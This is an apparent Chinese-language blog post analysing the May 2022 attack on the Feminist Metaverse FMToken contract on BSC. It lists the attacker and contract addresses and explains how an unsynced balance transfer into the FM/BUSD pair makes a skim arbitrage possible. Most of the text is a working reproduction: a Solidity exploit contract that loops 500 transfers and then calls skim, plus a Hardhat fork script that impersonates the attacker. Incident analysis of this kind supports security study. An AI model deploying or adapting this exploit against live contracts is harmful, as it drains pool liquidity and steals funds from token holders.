Feminist Metaverse攻击事件分析及复现
2022-05-19
# 智能合约
前言
Feminist Metaverse 项目的 FMToken 合约于 2022 年 5月 18 日遭到攻击
很久没更新博客了,这里写个简单的分析和复现
分析
基础信息
攻击tx(以第一笔攻击为例) :
0xfdc90e060004dd902204673831dce466dcf7e8519a79ccf76b90cd6c1c8b320d
攻击者:0xaaA1634D669dd8aa275BAD6FdF19c7E3B2f1eF50
攻击合约:0x0B8d752252694623766DfB161e1944F233Bca10F
FMToken:0x843528746F073638C9e18253ee6078613C0df0f1
流程
调用攻击合约0x70123a24函数启动攻击,发起 500 次 FM 的转账

随后调用 FM/BUSD 交易对的skim函数套利离场

漏洞原理
漏洞核心在于 FM 代币合约的转账逻辑中,若 FM 代币合约大于numTokensSellToAddToLiquidity,则会触发进一步逻辑将其所有 FM 代币转至 FM/BUSD 交易对

而 UniswapV2Pair 类型的交易对合约一直存在的一种 skim 套利,就依赖于合约中reserves存储量和实际余额量不一致,这里不展开讲
由于这里的代码只进行了余额转移,交易对合约中的存储量未更新,就产生了套利空间
复现
用 hardhat 做一个复现,fork 区块高度 17909280
攻击合约:
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
event Transfer(address indexed from, address indexed to, uint256 value);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function MINIMUM_LIQUIDITY() external view returns (uint256);
function PERMIT_TYPEHASH() external view returns (bytes32);
function allowance(address, address) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function balanceOf(address) external view returns (uint256);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function decimals() external view returns (uint8);
function factory() external view returns (address);
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
function initialize(address _token0, address _token1) external;
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function name() external view returns (string memory);
function nonces(address) external view returns (uint256);
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function skim(address to) external;
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;
function symbol() external view returns (string memory);
function sync() external;
function token0() external view returns (address);
function token1() external view returns (address);
function totalSupply() external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
contract FMExploit {
address private immutable owner;
address fm;
address fm_busd_pair;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor() {
owner = msg.sender;
fm = 0x843528746F073638C9e18253ee6078613C0df0f1;
fm_busd_pair = 0x6F5E184673a13BDf3eDED4AB236958887bc850C1;
}
function start() external onlyOwner {
IERC20(fm).balanceOf(msg.sender);
for (uint i; i < 500; i++) {
IERC20(fm).transfer(msg.sender, 100000);
}
IUniswapV2Pair(fm_busd_pair).skim(msg.sender);
}
function fmBalance() public view returns(uint256) {
return IERC20(fm).balanceOf(msg.sender);
}
}
攻击脚本:
const hre = require("hardhat");
async function main() {
await hre.network.provider.request({
method: "hardhat_impersonateAccount",
params: ["0xaaA1634D669dd8aa275BAD6FdF19c7E3B2f1eF50"],
});
const exploit = await (await hre.ethers.getContractFactory("FMExploit")).deploy();
console.log("Exploiter deployed to: ",exploit.address);
const hacker = await hre.ethers.getSigner("0xaaA1634D669dd8aa275BAD6FdF19c7E3B2f1eF50");
const fm = await ethers.getContractAt("IERC20", "0x843528746F073638C9e18253ee6078613C0df0f1");
await fm.connect(hacker).transfer(exploit.address, hre.ethers.utils.parseUnits("100", 18));
const fmBefore = await exploit.fmBalance();
console.log("Before Exploit, FM:", fmBefore.toString());
await exploit.start();
const fmAfter = await exploit.fmBalance();
console.log("After Exploit, FM:", fmAfter.toString());
}
main();
攻击复现:
